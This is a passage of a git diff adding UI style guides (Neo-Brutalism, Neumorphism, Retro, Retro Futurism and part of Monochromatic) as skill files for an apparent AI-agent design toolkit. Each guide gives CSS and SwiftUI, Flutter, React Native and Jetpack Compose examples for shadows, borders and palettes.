CrossAxisAlignment.start, + children: [ + Text('Monochromatic', style: TextStyle(fontSize: 24, fontWeight: FontWeight.w600, color: mono900)), + const SizedBox(height: 12), + Text('Variations of a single hue.', style: TextStyle(fontSize: 16, color: mono500)), + ], + ), + ), + const SizedBox(height: 24), + // Button + ElevatedButton( + onPressed: () {}, + style: ElevatedButton.styleFrom( + backgroundColor: mono500, + foregroundColor: Colors.white, + minimumSize: const Size(double.infinity, 56), + shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(8)), + elevation: 0, + ), + child: const Text('Primary Action', style: TextStyle(fontWeight: FontWeight.bold)), + ), + ], + ), + ), + ), + ); + } +} +``` +- Flutter's `HSVColor.fromAHSV()` is the best way to explicitly code a monochromatic palette without guessing hex codes. + +### React Native +```jsx +// Base Hue: Deep Blue (210) +const theme = { + mono900: 'hsl(210, 80%, 10%)', + mono700: 'hsl(210, 70%, 30%)', + mono500: 'hsl(210, 60%, 50%)', + mono300: 'hsl(210, 50%, 80%)', + mono100: 'hsl(210, 40%, 95%)', +}; + +const MonochromaticScreen = () => { + return ( + + + + + Monochromatic + + + Using HSL strings in React Native makes palette generation trivial. + + + + + + Primary Action + + + + + ); +}; +``` +- React Native's StyleSheet accepts CSS `hsl()` strings natively. Use them! It makes debugging and tweaking a monochromatic palette a million times easier than using hex codes. + +### Jetpack Compose +```kotlin +@Composable +fun MonochromaticScreen() { + // Base Hue: Deep Blue (210) + // Compose Color.hsv requires Hue 0-360f, Saturation 0-1f, Value 0-1f + val mono900 = Color.hsv(210f, 0.80f, 0.10f) + val mono500 = Color.hsv(210f, 0.60f, 0.50f) + val mono300 = Color.hsv(210f, 0.50f, 0.80f) + val mono100 = Color.hsv(210f, 0.40f, 0.95f) + + Column( + modifier = Modifier + .fillMaxSize() + .background(mono100) + .padding(24.dp), + verticalArrangement = Arrangement.Center + ) { + // Card + Box( + modifier = Modifier + .fillMaxWidth() + .shadow(15.dp, RoundedCornerShape(8.dp), spotColor = mono900.copy(alpha = 0.2f)) + .background(Color.White, RoundedCornerShape(8.dp)) + .border(1.dp, mono300, RoundedCornerShape(8.dp)) + .padding(32.dp) + ) { + Column { + Text("Monochromatic", fontSize = 24.sp, fontWeight = FontWeight.SemiBold, color = mono900) + Spacer(Modifier.height(12.dp)) + Text("Strictly enforced hue discipline.", color = mono500) + } + } + + Spacer(Modifier.height(24.dp)) + + // Button + Button( + onClick = { }, + colors = ButtonDefaults.buttonColors(containerColor = mono500, contentColor = Color.White), + shape = RoundedCornerShape(8.dp), + modifier = Modifier.fillMaxWidth().height(56.dp) + ) { + Text("Primary Action", fontWeight = FontWeight.Bold) + } + } +} +``` +- Use `Color.hsv()` to define the palette. +- Set the `spotColor` in your `Modifier.shadow` to `mono900` to keep the shadows from looking muddy or disjointed from the design system. + +## Do's and Don'ts +- **DO**: Use pure white or pure black as absolute extremes if needed for text legibility. +- **DON'T**: Sneak in an accent color. If you add a red error button to a blue monochromatic UI, it immediately breaks the aesthetic and becomes "duotone" or standard UI. Find a way to signify errors using bold text or dark shades of the base hue. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/neo-brutalism/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/neo-brutalism/SKILL.md new file mode 100644 index 00000000..e922ef88 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/neo-brutalism/SKILL.md @@ -0,0 +1,270 @@ +--- +name: neo-brutalism +description: Web and App implementation guide for Neo-Brutalism. Trigger when user wants thick borders, hard shadows, bright colors, and a playful yet structured look. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Neo-Brutalism + +> "Brutalism, but make it pop. Hard lines, stark shadows, and vibrant, unashamed colors." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Hard Drop Shadows**: Solid black shadows with no blur. Usually offset by a few pixels down and to the right. +2. **Thick Outlines**: Everything has a heavy, solid black border (usually 2px-4px). +3. **Flat, High-Contrast Colors**: Bright, saturated pastels or primary colors contrasting against pure white or black. + +## Visual DNA +- **Colors**: Start with an off-white background (like `#FDF8F5`), add stark black borders `#000000`, and use saturated accents like lemon yellow, bright cyan, or coral. +- **Typography**: Very bold, geometric sans-serifs (e.g., `Space Grotesk`, `Archivo Black`, `Inter Black`). +- **Shapes**: Sharp rectangles or completely rounded pill shapes, but always with a heavy stroke. + +## Web Implementation +- The defining feature is the `box-shadow` with `0` blur. +- **CSS Example**: +```css +:root { + --neo-border: 3px solid #000000; + --neo-shadow: 6px 6px 0px #000000; + --neo-bg: #F4F4F0; + --neo-accent: #FF3366; +} + +body { + background-color: var(--neo-bg); + font-family: 'Space Grotesk', sans-serif; +} + +.neo-card { + background-color: #ffffff; + border: var(--neo-border); + box-shadow: var(--neo-shadow); + border-radius: 8px; /* Optional, sharp is fine too */ + padding: 32px; + transition: transform 0.1s, box-shadow 0.1s; +} + +.neo-btn { + background-color: var(--neo-accent); + color: #000; + font-weight: 800; + text-transform: uppercase; + border: var(--neo-border); + box-shadow: 4px 4px 0px #000000; + padding: 16px 32px; + cursor: pointer; + transition: all 0.1s ease; +} + +.neo-btn:active { + /* The "press" effect is removing the shadow and moving it down */ + transform: translate(4px, 4px); + box-shadow: 0px 0px 0px #000000; +} +``` + +## App Implementation + +### SwiftUI +```swift +struct NeoCard: View { + @State private var isPressed = false + let neoBorder: CGFloat = 3 + let neoShadow: CGFloat = 6 + + var body: some View { + Button(action: {}) { + VStack(alignment: .leading, spacing: 16) { + Text("NEO-BRUTALISM") + .font(.system(size: 24, weight: .black, design: .default)) + .foregroundColor(.black) + Text("Stark shadows, bright colors.") + .font(.system(size: 16, weight: .bold)) + .foregroundColor(.black) + } + .padding(24) + .frame(maxWidth: .infinity, alignment: .leading) + .background(Color(red: 1.0, green: 0.2, blue: 0.4)) // Bright Coral + // Neo-brutalist solid outline + .overlay( + Rectangle() + .stroke(Color.black, lineWidth: neoBorder) + ) + } + .buttonStyle(.plain) + // Hard drop shadow (0 blur) + .shadow(color: .black, radius: 0, x: isPressed ? 0 : neoShadow, y: isPressed ? 0 : neoShadow) + // Translate the button physically when pressed to cover the shadow + .offset(x: isPressed ? neoShadow : 0, y: isPressed ? neoShadow : 0) + .simultaneousGesture( + DragGesture(minimumDistance: 0) + .onChanged { _ in isPressed = true } + .onEnded { _ in isPressed = false } + ) + // Instant pop, no smooth animation + .animation(.none, value: isPressed) + } +} +``` +- `.shadow(radius: 0)` is the secret. Set an offset (e.g. `x: 6, y: 6`). +- For interactions, remove the shadow and translate the element by the same offset amounts using `.offset()`. +- Ensure `.animation(.none)` — Neo-brutalism interactions should be instant, snapping like physical switches. + +### Flutter +```dart +class NeoCard extends StatefulWidget { + @override + State createState() => _NeoCardState(); +} + +class _NeoCardState extends State { + bool _isPressed = false; + final double neoOffset = 6.0; + + @override + Widget build(BuildContext context) { + return GestureDetector( + onTapDown: (_) => setState(() => _isPressed = true), + onTapUp: (_) => setState(() => _isPressed = false), + onTapCancel: () => setState(() => _isPressed = false), + child: Transform.translate( + // Move the container when pressed + offset: Offset(_isPressed ? neoOffset : 0, _isPressed ? neoOffset : 0), + child: Container( + padding: const EdgeInsets.all(24), + decoration: BoxDecoration( + color: const Color(0xFFFF3366), // Bright coral + border: Border.all(color: Colors.black, width: 3), + // Sharp shadow disappears on press + boxShadow: _isPressed ? [] : [ + BoxShadow( + color: Colors.black, + blurRadius: 0, // Critical: 0 blur + spreadRadius: 0, + offset: Offset(neoOffset, neoOffset), + ), + ], + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + mainAxisSize: MainAxisSize.min, + children: const [ + Text('NEO-BRUTALISM', + style: TextStyle(fontSize: 24, fontWeight: FontWeight.w900, color: Colors.black)), + SizedBox(height: 16), + Text('Stark shadows, bright colors.', + style: TextStyle(fontSize: 16, fontWeight: FontWeight.bold, color: Colors.black)), + ], + ), + ), + ), + ); + } +} +``` +- `blurRadius: 0` inside `BoxShadow` creates the solid block color. +- Remove the shadow array entirely when `_isPressed` is true, and simultaneously use `Transform.translate` to shift the widget down-right. + +### React Native +```jsx +const NeoCard = () => { + const [pressed, setPressed] = useState(false); + const offset = 6; + + return ( + setPressed(true)} + onPressOut={() => setPressed(false)} + style={{ + backgroundColor: '#FF3366', + padding: 24, + borderWidth: 3, + borderColor: '#000', + transform: [ + { translateX: pressed ? offset : 0 }, + { translateY: pressed ? offset : 0 } + ], + // iOS Hard Shadow + shadowColor: '#000', + shadowOffset: { width: pressed ? 0 : offset, height: pressed ? 0 : offset }, + shadowOpacity: pressed ? 0 : 1, + shadowRadius: 0, + // Android elevation cannot do 0-blur offset shadows natively + // elevation: 0 + }} + > + + NEO-BRUTALISM + + + ); +}; +``` +- **Android Limitation**: Standard `elevation` CANNOT create an unblurred, offset drop shadow. +- **Solution**: To make this work on Android, you MUST use the `react-native-drop-shadow` library or fake it by rendering an identical black `` absolutely positioned directly behind the main card. + +### Jetpack Compose +```kotlin +@Composable +fun NeoCard() { + var isPressed by remember { mutableStateOf(false) } + val neoOffset = 6.dp + + // Compose Modifier.shadow() always blurs. + // To get a solid hard shadow, we use Modifier.drawBehind. + Box( + modifier = Modifier + .padding(16.dp) + .offset( + x = if (isPressed) neoOffset else 0.dp, + y = if (isPressed) neoOffset else 0.dp + ) + .drawBehind { + if (!isPressed) { + drawRect( + color = Color.Black, + topLeft = Offset(neoOffset.toPx(), neoOffset.toPx()), + size = size + ) + } + } + .background(Color(0xFFFF3366)) + .border(3.dp, Color.Black) + .pointerInput(Unit) { + detectTapGestures( + onPress = { + isPressed = true + tryAwaitRelease() + isPressed = false + } + ) + } + .padding(24.dp) + ) { + Column { + Text("NEO-BRUTALISM", + fontSize = 24.sp, fontWeight = FontWeight.Black, color = Color.Black) + Spacer(Modifier.height(16.dp)) + Text("Stark shadows, bright colors.", + fontSize = 16.sp, fontWeight = FontWeight.Bold, color = Color.Black) + } + } +} +``` +- **Compose Limitation**: Native `Modifier.shadow()` applies ambient blur which breaks the neo-brutalist aesthetic. +- Use `Modifier.drawBehind { drawRect(...) }` with an offset to manually draw the solid shadow block behind the container. +- Shift the container using `Modifier.offset` on press, while hiding the shadow layer. + +## Do's and Don'ts +- **DO**: Make the active/pressed state visually translate the button to cover its shadow, creating a physical "click" feel. +- **DON'T**: Use gradients or blurred shadows. The aesthetic relies entirely on flat, sharp vectors. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/neumorphism/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/neumorphism/SKILL.md new file mode 100644 index 00000000..2aa74a3b --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/neumorphism/SKILL.md @@ -0,0 +1,248 @@ +--- +name: neumorphism +description: Web and App implementation guide for Neumorphism (Soft UI). Trigger when user wants soft shadows, extruded appearance, and light source simulation. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Neumorphism (Soft UI) + +> "Elements extruded from the background material itself, shaped by a singular, persistent light source." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Unified Surface Color**: The background and the elements MUST share the exact same base color. +2. **Dual Shadows**: Elements are shaped by two shadows: a light shadow (highlight) on the side facing the light source, and a dark shadow on the opposite side. +3. **No Borders**: The shape is entirely defined by the shadows. + +## Visual DNA +- **Colors**: Works best with mid-tone neutrals. **Desert Mirage**, **Earth-Grounded Elegance**, or **Sophisticated Neutral** are perfect. Avoid pure white or pure black (shadows/highlights won't show). +- **Typography**: Soft, rounded sans-serifs (e.g., `Nunito`, `Quicksand`). +- **Shapes**: Pill shapes, rounded rectangles. Sharp corners break the illusion of extruded material. + +## Web Implementation +- The magic is entirely in `box-shadow` manipulating light and dark variants of the base color. +- **CSS Example**: +```css +:root { + --base-color: #E6E2DD; /* From Sophisticated Neutral */ + --highlight: #ffffff; + --shadow: #c4c0bc; +} + +body { + background-color: var(--base-color); +} + +.neu-element { + background-color: var(--base-color); + border-radius: 20px; + /* Top-left highlight, Bottom-right shadow */ + box-shadow: 9px 9px 18px var(--shadow), + -9px -9px 18px var(--highlight); + padding: 32px; +} + +.neu-pressed { + /* Inset shadows for pressed/active state */ + border-radius: 20px; + background: var(--base-color); + box-shadow: inset 9px 9px 18px var(--shadow), + inset -9px -9px 18px var(--highlight); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct NeuCard: View { + let baseColor = Color(red: 0.90, green: 0.89, blue: 0.87) // #E6E2DD + + var body: some View { + VStack(spacing: 24) { + Text("Neumorphic Card") + .font(.system(size: 20, weight: .semibold, design: .rounded)) + + Text("Extruded from the surface itself.") + .font(.system(size: 15, design: .rounded)) + .foregroundColor(.secondary) + } + .padding(32) + .background(baseColor) + .cornerRadius(20) + // Light shadow (top-left) + .shadow(color: Color.white.opacity(0.7), radius: 10, x: -8, y: -8) + // Dark shadow (bottom-right) + .shadow(color: Color.black.opacity(0.15), radius: 10, x: 8, y: 8) + } +} + +// Pressed / inset neumorphic button +struct NeuButton: View { + @State private var isPressed = false + let baseColor = Color(red: 0.90, green: 0.89, blue: 0.87) + + var body: some View { + Button(action: {}) { + Text("Press Me") + .font(.system(size: 16, weight: .semibold, design: .rounded)) + .foregroundColor(.primary) + .padding(.horizontal, 32) + .padding(.vertical, 16) + } + .background( + Group { + if isPressed { + // Inset effect using inner shadow (ZStack trick) + RoundedRectangle(cornerRadius: 16) + .fill(baseColor) + .overlay( + RoundedRectangle(cornerRadius: 16) + .stroke(baseColor, lineWidth: 4) + .shadow(color: Color.black.opacity(0.2), radius: 4, x: 4, y: 4) + .clipShape(RoundedRectangle(cornerRadius: 16)) + ) + .overlay( + RoundedRectangle(cornerRadius: 16) + .stroke(baseColor, lineWidth: 4) + .shadow(color: Color.white.opacity(0.7), radius: 4, x: -4, y: -4) + .clipShape(RoundedRectangle(cornerRadius: 16)) + ) + } else { + RoundedRectangle(cornerRadius: 16) + .fill(baseColor) + .shadow(color: Color.white.opacity(0.7), radius: 10, x: -8, y: -8) + .shadow(color: Color.black.opacity(0.15), radius: 10, x: 8, y: 8) + } + } + ) + .buttonStyle(.plain) + .simultaneousGesture( + DragGesture(minimumDistance: 0) + .onChanged { _ in isPressed = true } + .onEnded { _ in isPressed = false } + ) + } +} +``` +- The key trick: two `.shadow()` modifiers — one white (top-left), one dark (bottom-right). +- Inner shadow (pressed state) requires a ZStack/overlay hack since SwiftUI doesn't have native `inset` shadows. Clip stroked shapes to simulate. +- The view's background color MUST match its parent's background exactly. + +### Flutter +```dart +class NeuCard extends StatelessWidget { + final Color baseColor = const Color(0xFFE6E2DD); + + @override + Widget build(BuildContext context) { + return Container( + padding: const EdgeInsets.all(32), + decoration: BoxDecoration( + color: baseColor, + borderRadius: BorderRadius.circular(20), + boxShadow: [ + // Dark shadow (bottom-right) + BoxShadow( + color: Colors.black.withOpacity(0.15), + offset: const Offset(8, 8), + blurRadius: 16, + ), + // Light shadow (top-left) + BoxShadow( + color: Colors.white.withOpacity(0.7), + offset: const Offset(-8, -8), + blurRadius: 16, + ), + ], + ), + child: Column( + children: [ + const Text('Neumorphic Card', + style: TextStyle(fontSize: 20, fontWeight: FontWeight.w600)), + const SizedBox(height: 16), + Text('Extruded from the surface itself.', + style: TextStyle(fontSize: 15, color: Colors.black54)), + ], + ), + ); + } +} +``` +- **Inner shadows** (for pressed state) are NOT natively supported in Flutter's `BoxShadow`. +- Use the `flutter_inset_box_shadow` package OR fake it with a layered `Stack`: place a `Container` with a dark gradient overlay on top and a light gradient below. +- Set the `Scaffold` background to the SAME `baseColor` so elements look extruded. + +### React Native +```jsx +const NeuCard = () => ( + + Neumorphic Card + + Extruded from the surface itself. + + +); +``` +- **Major limitation**: React Native only supports ONE shadow per view. True neumorphism requires TWO opposing shadows. +- **Workaround**: Use `react-native-shadow-2` or `react-native-neomorph-shadows` which provide multi-shadow support. +- Alternative: Wrap two nested `View`s — the outer one has the dark shadow, the inner one has the light shadow. +- Inner shadows for pressed states require SVG-based solutions or pre-rendered images. + +### Jetpack Compose +```kotlin +@Composable +fun NeuCard() { + val baseColor = Color(0xFFE6E2DD) + + Box( + modifier = Modifier + .padding(24.dp) + .shadow( + elevation = 8.dp, + shape = RoundedCornerShape(20.dp), + ambientColor = Color.Black.copy(alpha = 0.15f), + spotColor = Color.Black.copy(alpha = 0.15f), + ) + .background(baseColor, RoundedCornerShape(20.dp)) + .padding(32.dp) + ) { + Column { + Text("Neumorphic Card", + fontSize = 20.sp, fontWeight = FontWeight.SemiBold) + Spacer(Modifier.height(16.dp)) + Text("Extruded from the surface itself.", + fontSize = 15.sp, color = Color(0xFF888888)) + } + } +} +``` +- **Compose limitation**: Like React Native, Compose `Modifier.shadow()` only supports a single directional shadow. +- For true dual-shadow neumorphism, use a custom `Modifier.drawBehind { }` with `drawIntoCanvas` to paint two separate shadow paths (one light, one dark). +- The `neumorphic-compose` library provides a pre-built `Modifier.neumorphic()` that handles both shadows. +- Set the `Scaffold` background to the same `baseColor` — this is non-negotiable. + +## Do's and Don'ts +- **DO**: Use inset shadows for "active" states (like pressed buttons or filled form fields). +- **DON'T**: Rely on Neumorphism for critical elements without secondary indicators. Contrast is inherently low, making it an accessibility nightmare if used improperly. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/retro-design/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/retro-design/SKILL.md new file mode 100644 index 00000000..0a95c93f --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/retro-design/SKILL.md @@ -0,0 +1,283 @@ +--- +name: retro-design +description: Web and App implementation guide for Retro Design (60s-80s). Trigger when user wants vintage aesthetics, warm muted colors, and nostalgic layouts. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Retro Design + +> "A warm, analog feeling. Nostalgia through muted tones, grain, and classic typography." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Warm, Analog Color Palettes**: Colors look faded by the sun or printed on aged paper. +2. **Texture and Noise**: A slight grain overlay to simulate film or old print media. +3. **Classic Typography Pairings**: Heavy, groovy display fonts paired with typewriter or classic serif body copy. + +## Visual DNA +- **Colors**: **Monochromatic Brown** or warm, faded palettes (mustard yellow, burnt orange, sage green, off-white). +- **Typography**: Display fonts like `Cooper Black`, `Garamond`, or `Courier`. +- **Styling**: Badges, stamps, wavy borders, and halftone patterns. + +## Web Implementation +- Use CSS filters and background noise images to create texture. +- **CSS Example**: +```css +body { + background-color: #F4E8D1; /* Aged paper */ + color: #3E2723; /* Deep brown ink */ + font-family: 'Georgia', serif; + + /* Apply a subtle noise overlay using a pseudo-element or background image */ + background-image: url('noise-texture.png'); + background-blend-mode: multiply; +} + +.retro-header { + font-family: 'Cooper Black', serif; + font-size: 4rem; + color: #D35400; /* Burnt orange */ + text-shadow: 2px 2px 0px #F1C40F; /* Mustard yellow drop shadow */ + letter-spacing: -1px; +} + +.retro-card { + background-color: #FFF3E0; + border: 2px solid #3E2723; + border-radius: 12px; + padding: 24px; + + /* Vintage offset shadow */ + box-shadow: 8px 8px 0px #795548; +} + +.retro-badge { + display: inline-block; + background-color: #E74C3C; + color: #F4E8D1; + font-family: monospace; + font-weight: bold; + padding: 8px 16px; + border-radius: 50%; /* Make it look like a sticker */ + transform: rotate(-10deg); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct RetroCard: View { + let paperColor = Color(red: 0.96, green: 0.91, blue: 0.82) // #F4E8D1 + let inkColor = Color(red: 0.24, green: 0.15, blue: 0.14) // #3E2723 + + var body: some View { + ZStack { + paperColor.ignoresSafeArea() + + // Optional: Noise texture + Image("film_grain") + .resizable() + .blendMode(.multiply) + .opacity(0.3) + .ignoresSafeArea() + + VStack(alignment: .leading, spacing: 24) { + Text("RETRO DESIGN") + .font(.custom("Cooper Black", size: 36)) + .foregroundColor(Color(red: 0.83, green: 0.33, blue: 0.0)) // #D35400 + .shadow(color: Color(red: 0.95, green: 0.77, blue: 0.06), radius: 0, x: 2, y: 2) + + Text("Analog warmth and classic typography.") + .font(.custom("Georgia", size: 18)) + .foregroundColor(inkColor) + } + .padding(32) + .background(Color(red: 1.0, green: 0.95, blue: 0.88)) + .cornerRadius(12) + .overlay( + RoundedRectangle(cornerRadius: 12) + .stroke(inkColor, lineWidth: 2) + ) + // Vintage solid offset shadow + .shadow(color: Color(red: 0.47, green: 0.33, blue: 0.28), radius: 0, x: 8, y: 8) + } + } +} +``` +- A grain texture image can be overlaid using `.blendMode(.multiply)`. Be aware of memory usage with full-screen textures. +- Use `.shadow(radius: 0)` to create the hard offset shadows typical of 70s print media. +- Custom fonts like Cooper Black are absolutely required. + +### Flutter +```dart +class RetroCard extends StatelessWidget { + final Color paperColor = const Color(0xFFF4E8D1); + final Color inkColor = const Color(0xFF3E2723); + + @override + Widget build(BuildContext context) { + return Container( + color: paperColor, + child: Stack( + fit: StackFit.expand, + children: [ + // Noise texture + Opacity( + opacity: 0.3, + child: Image.asset('assets/film_grain.png', + fit: BoxFit.cover, + colorBlendMode: BlendMode.multiply), + ), + Center( + child: Container( + padding: const EdgeInsets.all(32), + decoration: BoxDecoration( + color: const Color(0xFFFFF3E0), + borderRadius: BorderRadius.circular(12), + border: Border.all(color: inkColor, width: 2), + boxShadow: const [ + BoxShadow( + color: Color(0xFF795548), + blurRadius: 0, // Hard offset shadow + offset: Offset(8, 8), + ), + ], + ), + child: Column( + mainAxisSize: MainAxisSize.min, + crossAxisAlignment: CrossAxisAlignment.start, + children: [ + const Text('RETRO DESIGN', + style: TextStyle( + fontFamily: 'Cooper', + fontSize: 36, + color: Color(0xFFD35400), + shadows: [Shadow(color: Color(0xFFF1C40F), offset: Offset(2, 2))], + )), + const SizedBox(height: 24), + Text('Analog warmth and classic typography.', + style: TextStyle(fontFamily: 'Georgia', fontSize: 18, color: inkColor)), + ], + ), + ), + ), + ], + ), + ); + } +} +``` +- Wrap backgrounds in a `Stack` to place a semi-transparent film grain asset over the solid color. +- Drop shadows for text and containers must have `blurRadius: 0` to emulate offset misregistered ink prints. + +### React Native +```jsx +const RetroCard = () => { + return ( + + + + RETRO DESIGN + + + Analog warmth and classic typography. + + + + ); +}; +``` +- Use `ImageBackground` on the root view for the grain. +- Android's `elevation` cannot do unblurred offset shadows natively. Use `react-native-drop-shadow` for perfect retro shadows on Android. + +### Jetpack Compose +```kotlin +@Composable +fun RetroCard() { + val inkColor = Color(0xFF3E2723) + + Box(modifier = Modifier.fillMaxSize().background(Color(0xFFF4E8D1))) { + // Noise Texture Overlay + Image( + painter = painterResource(id = R.drawable.film_grain), + contentDescription = null, + contentScale = ContentScale.Crop, + modifier = Modifier.matchParentSize().alpha(0.3f), + colorFilter = ColorFilter.tint(Color.Black, BlendMode.Multiply) + ) + + Box( + modifier = Modifier + .align(Alignment.Center) + .padding(24.dp) + // Fake hard shadow in compose by drawing behind + .drawBehind { + drawRoundRect( + color = Color(0xFF795548), + topLeft = Offset(8.dp.toPx(), 8.dp.toPx()), + size = size, + cornerRadius = CornerRadius(12.dp.toPx()) + ) + } + .background(Color(0xFFFFF3E0), RoundedCornerShape(12.dp)) + .border(2.dp, inkColor, RoundedCornerShape(12.dp)) + .padding(32.dp) + ) { + Column { + Text("RETRO DESIGN", + fontFamily = FontFamily(Font(R.font.cooper_black)), + fontSize = 36.sp, + color = Color(0xFFD35400), + style = TextStyle(shadow = Shadow(Color(0xFFF1C40F), Offset(4f, 4f), 0f)) + ) + Spacer(Modifier.height(24.dp)) + Text("Analog warmth and classic typography.", + fontFamily = FontFamily.Serif, + fontSize = 18.sp, + color = inkColor) + } + } + } +} +``` +- Native `Modifier.shadow` creates soft blurs. Use `Modifier.drawBehind` to draw an offset `drawRoundRect` for the hard retro shadow block. +- Text shadows support hard offsets perfectly via `Shadow(color, offset, blurRadius = 0f)`. + +## Do's and Don'ts +- **DO**: Use slightly off-white backgrounds (cream, beige) instead of pure `#FFFFFF` to simulate aged paper. +- **DON'T**: Use sleek, modern geometric sans-serifs or tech-focused neon colors. + +## Limitations +- This is a styling reference and does not replace environment-specific validation, accessibility testing, or expert review. +- Ensure appropriate contrast ratios and responsive behaviors are verified separately. diff --git a/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/retro-futurism/SKILL.md b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/retro-futurism/SKILL.md new file mode 100644 index 00000000..af0e8f07 --- /dev/null +++ b/antigravity-awesome-skills/plugins/antigravity-awesome-skills/skills/design-it/retro-futurism/SKILL.md @@ -0,0 +1,259 @@ +--- +name: retro-futurism +description: Web and App implementation guide for Retro Futurism. Trigger when user wants vintage future concepts, 1950s space age aesthetics, or atompunk vibes. +date_added: "2026-06-17" +risk: safe +source: self +source_type: self +--- + +# Retro Futurism + +> "The future as imagined in the 1950s and 60s. Rockets, atoms, and sleek, aerodynamic chrome." + + +## When to Use +Use this sub-style when the user's request matches the aesthetic described above. This is a child reference of the `design-it` skill and is not meant to be triggered directly. + +## Core Principles +1. **Aerodynamic Shapes**: Lots of sweeping curves, teardrop shapes, and swooping lines. Nothing is a perfect square. +2. **Space-Age Motifs**: Stars, atoms, orbits, and fins (like a 1950s Cadillac). +3. **Mid-Century Colors mixed with Chrome**: Classic 50s pastels paired with shiny, reflective metals. + +## Visual DNA +- **Colors**: Turquoise (`#40E0D0`), Atomic Tangerine (`#FF9966`), Mint Green (`#98FF98`), paired with Silver/Chrome and deep Space Black. +- **Typography**: Googie architecture fonts, bold cursive scripts, or clean mid-century geometric sans-serifs (like `Futura`). +- **Styling**: Sleek bezels, dramatic drop shadows, and offset overlapping shapes. + +## Web Implementation +- **CSS Example**: +```css +body { + background-color: #FDF5E6; /* Old paper / cream */ + color: #2F4F4F; + font-family: 'Futura', 'Trebuchet MS', sans-serif; + overflow-x: hidden; +} + +/* Googie-style sweeping background element */ +.retro-future-swoop { + position: absolute; + top: 0; right: -10%; + width: 120%; height: 300px; + background-color: #40E0D0; /* Turquoise */ + border-radius: 0 0 50% 50%; + transform: rotate(-5deg); + z-index: -1; + border-bottom: 8px solid #FF9966; /* Atomic tangerine stripe */ +} + +.atompunk-card { + background-color: #fff; + border: 4px solid #Silver; + border-radius: 40px 10px 40px 10px; /* Sweeping, aerodynamic corners */ + padding: 32px; + box-shadow: 15px 15px 0px rgba(0,0,0,0.1); + position: relative; +} + +/* Classic starburst motif */ +.starburst { + position: absolute; + top: -20px; left: -20px; + width: 40px; height: 40px; + background-color: #FF9966; + clip-path: polygon(50% 0%, 61% 35%, 98% 35%, 68% 57%, 79% 91%, 50% 70%, 21% 91%, 32% 57%, 2% 35%, 39% 35%); +} +``` + +## App Implementation + +### SwiftUI +```swift +struct AtompunkShape: Shape { + func path(in rect: CGRect) -> Path { + var path = Path() + // Sweeping aerodynamic curves (large radius top-left, bottom-right) + path.addRoundedRect( + in: rect, + cornerSize: CGSize(width: 40, height: 40), + style: .continuous + ) + // To be perfectly authentic, use Path to draw teardrop curves + return path + } +} + +struct RetroFutureCard: View { + var body: some View { + VStack(alignment: .leading, spacing: 16) { + Text("ATOMPUNK") + .font(.custom("Futura", size: 28)) + .fontWeight(.bold) + .foregroundColor(Color(red: 0.18, green: 0.31, blue: 0.31)) + + Text("Sleek chrome and sweeping curves.") + .font(.custom("Futura", size: 16)) + } + .padding(32) + .background(Color.white) + // Asymmetric corners: large top-left/bottom-right, small top-right/bottom-left + .cornerRadius(40, corners: [.topLeft, .bottomRight]) + .cornerRadius(10, corners: [.topRight, .bottomLeft]) + .overlay( + // Chrome-like border + RoundedRectangle(cornerRadius: 10) // Simplified overlay for demo + .stroke( + LinearGradient(colors: [.gray, .white, .gray], startPoint: .top, endPoint: .bottom), + lineWidth: 4 + ) + ) + .shadow(color: .black.opacity(0.1), radius: 0, x: 15, y: 15) + } +} +// Note: Asymmetric corners require a custom ViewModifier in SwiftUI. +``` +- Rely on asymmetrical corner radii to create the aerodynamic, teardrop aesthetic. +- Metallic/Chrome borders are faked by using a `LinearGradient` of grays and whites. + +### Flutter +```dart +class RetroFutureCard extends StatelessWidget { + @override + Widget build(BuildContext context) { + return Container( + padding: const EdgeInsets.all(32), + decoration: BoxDecoration( + color: Colors.white, + // Asymmetric "aerodynamic" shape + borderRadius: const BorderRadius.only( + topLeft: Radius.circular(40), + bottomRight: Radius.circular(40), + topRight: Radius.circular(10), + bottomLeft: Radius.circular(10), + ), + // Chrome border simulation + border: Border.all( + width: 4, + color: Colors.transparent, // Requires custom painter for gradient border + ), + boxShadow: [ + BoxShadow( + color: Colors.black.withOpacity(0.1), + offset: const Offset(15, 15), + blurRadius: 0, // Hard shadow + ), + ], + ), + child: Column( + crossAxisAlignment: CrossAxisAlignment.start, + mainAxisSize: MainAxisSize.min, + children: const [ + Text('ATOMPUNK', + style: TextStyle(fontFamily: 'Futura', fontSize: 28, fontWeight: FontWeight.bold, color: Color(0xFF2F4F4F))), + SizedBox(height: 16), + Text('Sleek chrome and sweeping curves.', + 